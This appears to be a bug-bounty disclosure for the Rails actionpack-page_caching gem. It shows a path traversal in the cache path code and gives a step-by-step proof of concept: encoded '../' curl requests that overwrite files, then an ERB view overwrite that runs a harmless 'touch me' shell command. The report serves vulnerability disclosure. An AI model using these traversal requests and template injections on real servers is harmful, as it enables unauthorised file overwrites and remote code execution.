Ruby on Rails · Report #519220
File writing by Directory traversal at actionpack-page_caching and RCE by it
How it was found
I found a directory traversal in actionpack-page_caching.
Some code may lead to RCE.
def cache_file(path, extension)
if path.empty? || path =~ %r{\A/+\z}
name = "/index"
else
name = URI.parser.unescape(path.chomp("/"))
end
if File.extname(name).empty?
name + (extension || default_extension)
else
name
end
end
def cache_path(path, extension = nil)
File.join(cache_directory, cache_file(path, extension))
end
The problem is that traversal is not considered in cache_path or cache_file.
Since the URL can use . or/encoded values, the cache will be written in an unexpected place.
PoC
step 1. Prepare server
ruby -v
rails -v
rails new caching_traversal
cd caching_traversal
# add `gem "actionpack-page_caching"` in Gemfile
bundle install
rails generate scaffold book name:string
rails db:migrate
step 2. Setting cache
Enable caching.
rails dev:cache
Add caches_page.
# app/controllers/books_contorller.rb
class BooksController < ApplicationController
before_action :set_book, only: [:show, :edit, :update, :destroy]
caches_page :show
step 3. Start server
Start the server with "rails s".
Prepare a book with the following name.
<% `toouch me` %>
Check cache behavior.
❯ curl "http://localhost:3000/books/1"
<!DOCTYPE html>
...
<p>
<strong>Name:</strong>
<% `touch me` %>
</p>
...
❯ ls public
404.html 500.html apple-touch-icon.png favicon.ico
422.html apple-touch-icon-precomposed.png books robots.txt
❯ cat public/books/1.html
<!DOCTYPE html>
...
<p>
<strong>Name:</strong>
<% `touch me` %>
</p>
...
step 4. Attack
Add an attack code to the pass and check the result.
❯ curl "http://localhost:3000/books/1%2f%2e%2e%2f%2e%2e%2f%2e%2e%2ftest"
# test file is generated
❯ ls
app config db Gemfile.lock log public README.md test tmp
bin config.ru Gemfile lib package.json Rakefile storage test.html vendor
❯ curl "http://localhost:3000/books/1%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fREADME%2emd"
# If the file exists it will be overwritten
❯ cat README.md
...
<p>
<strong>Name:</strong>
<% `touch me` %>
</p>
...
step 5. RCE
RCE is possible if it is possible to create a cache where the value of <% is not escaped, like render for text.
Generate the file app/views/books/show.text.erb as follows:
name: <%= @ book.name %>
Overwriting erb files enables RCE.
# overwrite erb
❯ curl "http://localhost:3000/books/1%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fapp%2fviews%2fbooks%2fshow%2etext%2eerb?format=text"
name: <% `touch me` %>
❯ cat app/views/books/show.text.erb
name: <% `touch me` %>
# executed `touch me`
❯ curl "http://localhost:3000/books/1.txt"
name:
# me file is generated
❯ ls
app config db Gemfile.lock log package.json Rakefile storage test.html vendor
bin config.ru Gemfile lib me public README.md test tmp
Impact
The cache is generated on an unintended path. Also, RCE may be possible.